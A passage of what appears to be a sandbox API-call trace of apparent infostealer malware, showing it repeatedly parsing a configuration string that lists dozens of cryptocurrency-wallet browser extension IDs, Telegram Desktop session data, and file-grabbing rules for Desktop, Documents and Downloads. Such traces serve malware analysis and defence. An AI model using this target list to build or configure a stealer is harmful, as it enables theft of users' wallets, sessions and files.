Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2897 [0260.191] LocalAlloc (uFlags=0x40, uBytes=0x16a2) returned 0x6b9720 [0260.191] lstrlenW (lpString="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2897 [0260.191] LocalAlloc (uFlags=0x40, uBytes=0x16a2) returned 0x6badd0 [0260.191] lstrlenW (lpString="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2897 [0260.191] LocalAlloc (uFlags=0x40, uBytes=0x16a2) returned 0x6bc480 [0260.191] StrStrW (lpFirst="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.191] lstrlenW (lpString="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2897 [0260.191] LocalAlloc (uFlags=0x40, uBytes=0x1722) returned 0x6bdb30 [0260.191] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.192] LocalFree (hMem=0x6bdb30) returned 0x0 [0260.192] StrStrW (lpFirst="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.192] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.192] LocalFree (hMem=0x6b9720) returned 0x0 [0260.192] LocalFree (hMem=0x6badd0) returned 0x0 [0260.192] LocalFree (hMem=0x6bc480) returned 0x0 [0260.202] StrStrW (lpFirst="ews_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension 